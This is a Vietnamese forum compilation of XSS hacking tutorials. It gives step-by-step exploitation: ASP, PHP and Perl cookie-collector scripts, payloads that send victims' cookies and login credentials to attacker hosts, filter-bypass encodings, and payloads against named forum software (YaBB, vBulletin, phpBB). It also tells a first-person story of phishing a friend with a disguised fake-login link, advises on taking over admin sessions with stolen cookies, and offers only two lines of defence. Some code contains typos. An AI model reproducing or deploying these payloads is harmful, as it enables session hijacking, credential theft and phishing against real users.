Authot: Mask_NBTA và Alex chan doi

Đây là những bài viết về XSS mà tôi sưu tầm được, hy vọng giúp các bạn hiểu hơn 1 chút về vấn đề này
Trước hết là bài viết của Mask_NBTA

XSS cơ bản

Lỗi xảy ra như thế nào ?

Lỗi này xảy ra khi ứng dụng web thu nhận các dữ liệu nguy hiểm được nhập từ hacker . Như bạn đã biết thì 1 website thường chứa các link , thông qua các link này hacker có thể chèn các đoạn code vào và khi người dùng nào đó sử dụng link này thì coi như 99% là toi mạng , nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker . Cách thường dùng của hacker là mã hoá các phần nguy hiểm của link (đã chèn code) thành kiểu HEX (hoặc có thể là các hình thức khác) để làm cho nạn nhân ít nghi ngờ khi click vào cái link nguy hiểm đó . Sau đó là tìm cách nào đó để cho nạn nhân chịu click vào cái link đã đặt bẫy đó , cái này tùy thuộc vào sự gian xảo của từng hacker :-) , càng gian xảo thì càng mau ######ng thu được kết quả .

Hầu hết các ứng dụng web hiện nay dùng cookie để kết hợp 1 tài khoản duy nhất cho 1 người dùng nào đó , nghĩa là cookie của người nào người đó xài . Các webmail , web bán hàng , nhà băng , ... đa số đều dùng cookie với mục đích chứng thực ngươi dùng , và đây cũng là cái mà hacker cần .

Vậy chứ chèn code là chèn cái quái gì , dùng cái gì để chèn : dùng Javascript (thông dụng) , VBscript , ActiveX, HTML,hoặc Flash

Chắc các bạn đã hiểu sơ sơ về cái lỗi này rồi :-) . Không hiểu thì xem tiếp sẽ hiểu .

Bi giờ chúng ta sẽ nói thật rõ về cái lỗi này :

Trước hết giới thiệu sơ với các bạn về cách mã hoá 1 số các kí tự thường dùng trong lỗi XSS của thanh ADDRESS để chút nữa khỏi bị choáng :

Vì IBF Forum không hỗ trợ table trong bài viết nên các bạn có thể xem chi tiết đầy đủ bài viết tại đây : http://members.lycos.co.uk/masknbta/mask.rtf

---
sơ sơ vậy thôi , muốn biết hết thì các bạn tự kiếm .

KIỂM TRA LỖI XSS

Bây giờ tôi sẽ nêu ra các bước để các bạn có thể kiểm tra xem site đó có bị XSS hay không :

1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .

Cách tìm lỗi để cho rõ ràng thì các chuyên gia bảo mật chia làm 7 bước nhưng theo tôi nên chia thành 5 bước :

Bước 1 : Mở website cần kiểm tra (cái này tất nhiên rồi)

Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó) , ví dụ nhập chữ "Mask_NBTA" chẳng hạn hay chữ gì cũng được .

Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :

Ví dụ bạn thấy như thế này :

· "Your search for 'Mask_NBTA' did not find any items"

· "Your search for 'Mask_NBTA' returned the following results"

· "User 'Mask_NBTA' is not valid"

· "Invalid login 'Mask_NBTA'"

hoặc là cái quái gì đó mà có dính tới chữ "Mask_NBTA" mà bạn nhập vào ban đầu thì 99% "Alert" này bi XSS

còn vài hình thức thử nữa tôi cũng xin trình bày luôn :

+ Chú ý các ô input hay các biến ngay trên thanh address (var=) thấy mấy cái này thì cứ nhét dữ liệu vào . Hãy thử với những script này :

< script>alert('Mask_NBTA')< /script>

hoặc <i*g csstest=javascript:alert('Mask_NBTA')>

hoặc &{alert('Mask_NBTA')};

Bước 4 : Chèn code thực sự vào nơi bị lỗi :

chèn cái này < script>alert('Mask_NBTA')< /script> vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "Mask_NBTA" thì "Alert" này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem . Khi view sources nhớ kiếm dòng này< script>alert('Mask_NBTA')< /script> , nếu có thì hết chạy , XSS đây rồi .

Một ví dụ khác thường gặp hơn :

Gọi http://sitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/index.php?page=<s...< script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .

Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .

KHAI THÁC

Kiểm tra lỗi đã xong bây giờ phải tìm cách khai thác lỗi để đạt được những gì ta mong muốn :

Tôi sẽ trình bày cách thông qua lỗi XSS để lấy cookie của nạn nhân :

Bước 1 : tạo 1 file cookie.asp có nội dung như thế này :

<%

Set x = CreateObject("Scripting.FileSystemObject")

Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)

y.WriteLine Request.QueryString("cookie")

y.Close

Set y = Nothing

Set x = Nothing

%>
---

hoặc file cookie.php như thế này :

//

<?

$f = fopen("mask.txt","a");

fputs($f, $cook.chr(13));

fclose($f);

?>
//

và upload file này lên host của bạn . Chú ý là nếu bạn dùng file .php thì phải up lên host hỗ trợ PHP (lycos) , dùng file .asp thì up lên host hỗ trợ ASP (brinkster)

Bước 2 :

lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :

http://sitebiloi.com/index.php?page=<s...< /script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :

<HTML>
<TITLE> Hello all! </TITLE>
hello

<
script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.coo
kie)< /script>
...

</HTML>

Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .

Nhưng không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cơ chế của họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập vào , đơn giản vậy thôi .

Chẳng lẽ hacker chịu bó tay , chưa chắc ! Hacker cũng cố gắng vượt qua "bộ lọc" bằng một vài thủ thuật nhỏ :

1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :

Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với ') +

') + '\x3cscript
src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'

2/Biến các đoạn code nguy hiểm thành lời chú giải (comment) :

Ví dụ khi hacker nhập vào < script>code< /script> thì sẽ bị chặn như sau :

<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>

Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào :

< script>

</COMMENT>
<img src="http://none" onerror="alert(Mask_NBTA was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">
< /script>

lúc này đoạn lọc code ban đầu trở thành :

<COMMENT>

</COMMENT>

< /script>

</COMMENT>

---

và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh ######ng .

Cái này dùng để hack webmail bằng cách tạo fakelogin thì khỏi chê .

3/Không cho JAVASCRIPT tồn tại :

Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code nhập vào :

Ht*p://sitebiloi.com/search.cgi?query=%26%7balert%28%27Mask %27%29%7d%3b

Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là {alert('Mask')}; đã được mã hoá

Tôi nêu thêm ra vài ví dụ nữa để các bạn dễ hình dung :

*Forum YABB GOLD 1 SP1 (chưa fix) , bị XSS như sau :

ht*p://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269<
script>location%3d'Ht*p://www.hostbanupfile.com/cookie.php?Cookie%3d'%2b(docum
ent.cookie)%3b< /script>
đó đó , mấy cái kí tự loằng ngoằng bi giờ sử dụng rồi đó (tự tra nhé)

*Forum vbullettin (version bao nhiêu quên rồi) :

ht*p://target.com/board/usercp.php?s=[Session ID]"><< script>javascript-
:document.write('<img
scr=h*tp://www.hostbanupfile.com/cookie.asp?cookie='+escape(document.cookie)+'>');<
/script>

*Forum PHPBB 1.4.4 (hình như 2.0 cũng bị) :

vào đăng kí 1 cái acc , sau đó send 1 cái topic , ráng làm sao để "Alert" admin nó đọc đặng còn chôm cookie của nó chứ , tôi gợi ý nhé

Subject : ADMIN , I LOVE U

Nội dung :

your forum is bad, hahaha

[img]javascript:document.write(")[/i*g]

---

ta thực hiện được là do lợi dụng thẻ img để chèn code . Khi "Alert" admin đọc cái topic này thì cookie của nó lập tức bay vào tay ta . Hà hà !

Cách dùng cookie vừa chôm được :

Đối với WIN XP thì cookie được lưu trữ tại : C:\Documents and Settings\tên của bạn\cookies\

còn cookie nào , ở chính xác tại đâu thì vào đó mà kiếm , không thể biết cụ thể được .

Kiếm được rồi thì thay thế cái cookie của ta thành cái vừa chôm được , xong trở lại forum với cookie này thì ta là admin . Nhưng hình như nếu ta chôm cookie mà "Alert" admin nó log out mất tiêu thì cookie này coi như vô dụng , chỉ áp dụng được khi "Alert" admin ko log out (không biết tôi nhớ có chính xác hay không nhưng đại loại có lẽ đúng)

Còn rất nhiều rất nhiều site + forum bị lỗi trên net , ở đây chỉ là vài ba ví dụ để các bạn dễ hình dung .

Cách dụ dỗ victim vào đúng cái link mà ta mong muốn :

Để mang tính thực tế và dễ hiểu tôi sẽ kể cho các bạn nghe 1 câu chuyện về hack bằng lỗi XSS và đây cũng là 1 tình huống nữa của lỗi XSS :

Một hôm buồn đời tôi lang thang trên net và vào 1 website nọ , ví dụ là http://www.a.com/ theo thói quen tôi đánh 1 dữ liệu bất kì vào ô put in USERNAME , và ở đây cái mà tôi đáng vào là Mask_NBTA tôi liền thấy xuất hiện dòng chữ "Invalid login : user Mask_NBTA is not found in our data" , hè hè 1 triệu chứng của XSS đây rồi , nhìn vào thanh URL lại thấy cái này
http://www.a.com/login.asp?erro=Invalid%20...in%20our%20data

quá sướng rồi còn gì , công việc bi giờ làm sao để hack đây . Đầu tiên tôi save as cái trang này vào dĩa cứng , dùng NOTE PAD open và xem cái sources .Tại sao tôi làm vậy ? Vì tôi muốn biết 2 cái tên biến của login form , và tôi đã dễ dàng tìm thấy , nó là "ten" và "matkhau" , dựa vào 2 cái này thì tôi đã biết mình cần phải làm gì , và phải chèn code

như thế nào hè hè . Cái tôi muốn lúc này là làm sao dựa vào XSS để lấy được thông tin về username + pass của nạn nhân . Vậy thì mình chèn cái gì đây , sau 1 thoáng suy nghĩ tôi quyết định chèn cái này đây :

</FORM>
<FORM action="fakelogin.asp" method="post"

onsubmit="

image= new Image;

image.scr='h*tp://myhost/cookie.asp?cookie='+document.form(1).ten.value + '/' + document.form(1).matkhau.value;">

Tôi sẽ giải thích từng cái cho các bạn hiểu :

cái </FORM> để kết thúc cái FORM của cái site đã được mở ra ở trên . Còn cái code bên dưới thì nhìn thôi chắc các bạn cũng hiểu hết , không cần giải thích nhé .

Chèn code như sau :

Ht*p://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2&tênbiến3=giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%3C/FORM%3E%3CFORM%20action=%22login1.asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%20image;image.scr='h*tp://myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value%20%2b'/'%20%2bdocument.form(1).matkhau.value;%22%2E

Tại sao lại chèn thêm 1 đống biến có thật vào, nhớ là làm sao để nhìn vào URL ta ko thấy cái phần code chèn thêm ngoài sau , chủ yếu là làm cho cái link thêm dài loằng ngoằng trước hết làm hoa mắt nạn nhân , sau đó là tạo dáng vẻ có thật 1 cách tự nhiên cho cái link .

Làm tới đây tôi chợt nghĩ ra mình có "Alert" bạn là member của cái site này , sẵn đang rảnh rỗi chọc nó chơi . Cách tôi làm là send cho nó 1 cái mail với nội dung thế này :

Mày nghe tin gì mới chưa ! WEBSITE a.com mở 1 cuộc thi có tiền thưởng là 1000 000 , lại đúng sở trường của mày nữa , còn hông biết tham gia nữa . Xem cái link này mày sẽ hiểu :

H*tp://www.a.com/login.asp nhưng bên dưới cái link này sẽ là cái http://www.a.com/login.asp?tênbiến1=giî..au.value;%22%2E

Bạn đoán xem chuyện gì xảy ra . Tất nhiên là nó sẽ click vào cái link tưởng chừng như vô hại đó , sau đó login vào site bình thường mà đâu ngờ là cái username + pass đã bị .....

Công việc của tôi chỉ là vào host , mở cái file log ra và xem , có gì trong đó , bí mật .....

Câu chuyện tới đây là hết . Chắc các bạn cũng đã hiểu cách làm của tôi , hy vọng với những cái đầu thiên tài của các bạn thì sẽ có những cách hay hơn cách tôi vừa trình bày .

CÁCH PHÒNG CHỐNG XSS :

1/Trước hết là cho admin của các website :

+ Không cho phép bất cứ HTML tag nào nhập vào từ người dùng .

+ Lọc tất cá các Active Script từ HTML Code

2/Dành cho người dùng :

Cẩn thận là trên hết , đừng chết vì thiếu hiểu biết .

Tôi viết bài trước hết là để ôn lại kiến thức cho chính mình sau đó là muốn giải thích cho các bạn hiểu thật rõ về nguy hại của XSS để mà phòng tránh .

Cross-Site Scripting (ko nhớ tác giả)

Giới thiệu :

Bạn đã bao nhiêu lần nhận một email mà chứa các hyperlink rồi ?Thử nghĩ xem khi bạn nhận được 1 mail link tới site mà bạn tham gia với lời mời chào khá ngọt , ban click vào link đó mà ko chút thắc mắc , login với user của mình .... như vậy rất có thể là bạn đã mất pass vào tay một hacker rồi Đây chỉ là 1 vd nhỏ về cross-site scripting thôi .

Cross-Site Scripting

Cross-Site Scripting còn gọi là XSS , lỗi xảy ra khi các ứng dụng web thu nhận các dữ liệu nguy hiểm của các hacker như một đoạn mã javascript ,Vbscript.... Nó sẽ chỉ giúp bạn lấy được thông tin mật của một ứng dụng web thôi , ko hơn ko kém (và bạn hãy quên ngay việc nghĩ rằng để khai thác thành công lỗi này chỉ mất vài phút nhé)

XSS có khả năng ảnh hưởng tới các site cho phép người dùng nhập dữ liệu vào ,thường là :

Các công cụ tìm kiếm
Forms được điền bởi user

Web message boards, guestbook
Một hacker khi phát hiện ra lỗi XSS sẽ cố gắng dùng nó để lấy cookies, tạo các trang login giả để lấy pass của người khác ..v..v..

Bây giờ chúng ta bắt đầu đi sâu vào lỗi XSS , trước tiên là xác định site dính lỗi này :

Ví dụ một công cụ tìm kiếm của site sau khi được ta nhập giá trị (ví dụ : XSS) nó sẽ trả về những gì mà ta vừa nhập (tức in ra XSS) thì rất có khả năng nó bị dính XSS . Bây giờ ta view source của site đấy nếu tìm thấy " XSS " thì đích thị site này dính lỗi rồi , hè hè

Để mô phỏng một cuộc tấn công bằng XSS , một site ngân hàng online đã được creat (www.freebank.com). Trước tiên hacker sẽ bắt đầu tìm một trang trên site này để có thể nhập giá trị , trong ví dụ hacker đã tìm ra rằng khi cố gắng login ko được thì username sẽ hiện lên trên thanh URL như sau :
http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20Badlogin (%20 là các kí tự trắng)

tiếp theo , hacker sẽ kiểm tra xem có thể tiêm mã HTML và javascript vào trang wweb này được ko . Đơn giản chỉ cần thay "Invalid%20Login:%20Badlogin " ở URL trên bằng <script>alert('XSS')</script> , nếu sau đó ta nhận được 1 cửa sổ pop-up với thông báo XSS thì ta hoàn toàn có thể khai thác site này qua lỗi XSS . Anh ta bây giờ phải tạo 1 URL để có thể lấy được các thông tin nhạy cảm . Để tạo được 1 URL mà có khả năng qua mặt được nhiều người thì hacker phải mở sourrce của trang web (mà cụ thể ở đây là trang banklogin.asp) để đưa vào URL phù hợp:
ở đây hacker sẽ thêm vào đoạn code sau (tùy từng trường hợp cụ thể mà ta có thể thay bằng code khác)

</form>

<form action="login.asp" method="post"

onsubmit="XSSimage= new Image;
XSSimage.src='http://hacker.com/'+document.forms(1).login.value+':'+document.forms(1).password.value;">

khi được " tiêm " vào trang login thì nó sẽ như sau : (đoạn code của chúng ta được in nghiêng)

<table>

<tr>

<td bgcolor="#2E7AA3" Style="border:1px solid black " WIDTH ="258" HEIGHT="217>

<form action="login.asp" method="post>

</form>

<form action="login.asp" method="post"

onsubmit="XSSimage= new Image;
XSSimage.src='http://hacker.com/'+document.forms(1).login.value+':'+document.forms(
1).password.value;">

 Username :
<input type ="text" name ="login" style="border: 1px solid black;
spacing :0">
Password:

.....

Như ta thấy , đoạn code được "tiêm " vào gồm 2 phần chính , một là </form> để kết thúc <form> của bản gốc , hai là

<form action="login.asp" method="post"

onsubmit="XSSimage= new Image;
XSSimage.src='http://hacker.com/'+document.forms(1).login.value+':'+document.forms(
1).password.value;">

Chú ý rằng <form action="login.asp" method="post" ko hề khác bản gốc tuy nhiên ta thêm vào onsubmit , nó có tác dụng là chạy đoạn javascript khi victim click vào submit. Thông tin của victim sẽ gửi đến link ở trên (www.hacker.com)

Sau khi có được code rồi , bây giờ hacker sẽ phải đưa nó vào URL :
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A

Dễ nhận ra là URL này khác với URL mà ta dùng để test XSS , đơn giản chỉ vì như thế này URL sẽ đủ dài để giảm sự nghi ngờ của victim thôi.

Rồi , bây giờ ta sẽ gửi link này đến cho victim , có rất nhiu cách để qua mặt họ sau đó chỉ việc chờ và check log file tại

www. hacker.com

Trên đây chỉ là 1 ví dụ nho nhỏ thôi bằng sáng tạo của mỗi người sẽ có 1 cách khai thác riêng cho mình Các bạn ko chỉ có thể lấy user và pass của người khác mà còn có thể thay đổi giá trị của sản phẩm tại 1 site mua bán , thêm dữ liệu ..v..v..v ..

Hi vong bài viết này có thể giúp các bạn newbie như mình phần nào hiểu thêm về XSS .À với các bạn chưa biết XSS là gì sau khi đọc xong bài này thì các bạn đọc lại bài của anh Mask_NBTA_83 ý .Bài đấy sẽ giúp ích nhiều đấy .

Khi nào kiếm thêm bài về XSS mình sẽ cố vít 1 bài nữa nếu ko ai thấy phiền hè hè

bài trên mình đã nói qua về lỗi XSS và cách khai thác của nó hẳn các bạn còn nhớ đoạn javascript mà hacker sẽ sử dụng để lấy coookie của victim chứ (có ko tí nhưng mình xin chỉ ra ví dụ sau)

```
<script>document.location.repleace('http://hacker/payload?c=' + document.cookie )
</script>
```

file php để ghi lại coookie có sẽ như sau :

```
<?php

$f = fopen ("log.txt", "a");

fwrite($, "IP : { $_SERVER ['REMOTE_ADDR']} Ref: {$_SERVER
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS ['c'] }\n");

fclose($f);

?>
```

Hay đây là 1 ví dụ khác :

```
<script>document.location.repleace('http://hacker/steal.cgi?' + document.cookie )
;</script>
```

và đây là source của file steal.cgi :

```
#! /usr/bin/perl

#steal.cgi by David Endler

#Specific to your system

$mailprog = '/usr/sbin/sendmail';

#creat log file
```

```
open (COOKIES,">>stolen_cookie_file");

#what victim see

print " Content-type: text /html \n\n";

print <<EndOfHTML;

<html><head><title>Cookie stealing </title></head>

<body> your cookie has been stolen hehe
</body>

EndOfHTML

#The QUERY_STRING enviroment variable should be filled with

#the cookie text after steal.cgi:

#http://www.hacker.com/steal.cgi?XXXXXXX

print COOKIES "$ENV{ ' QUERY_STRING ' } from $ENV { ' REMOTE_ADDR'} \n;

#now mail the alert as well so we can start hijack

open (MAIL,"|$mailprog -t");

print MAIL " To: hacker\ @hacker.com \n";

print MAIL " From: cookie_steal \ @hacker.com \n";

print MAIL " Subject :Stolen cookie \n\n";

print MAIL "-" x 75 . "\n\n;

print MAIL "$ENV{ 'QUERY_STRING'} from $ENV{ 'REMOTE_ADDR'} \n";

close (MAIL);
```

Một ví dụ khác nữa (của matrix2k)

```
<script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.c
ookie)</script>
```

file cookie.asp:

```
<%
Set bien = CreateObject("Scripting.FileSystemObject")
Set taobien = bien.OpenTextFile(Server.MapPath("xss.txt"), 8, true)
taobien.WriteLine Request.QueryString("cookie")
taobien.Close
Set taobien = Nothing
Set bien = Nothing
%>
```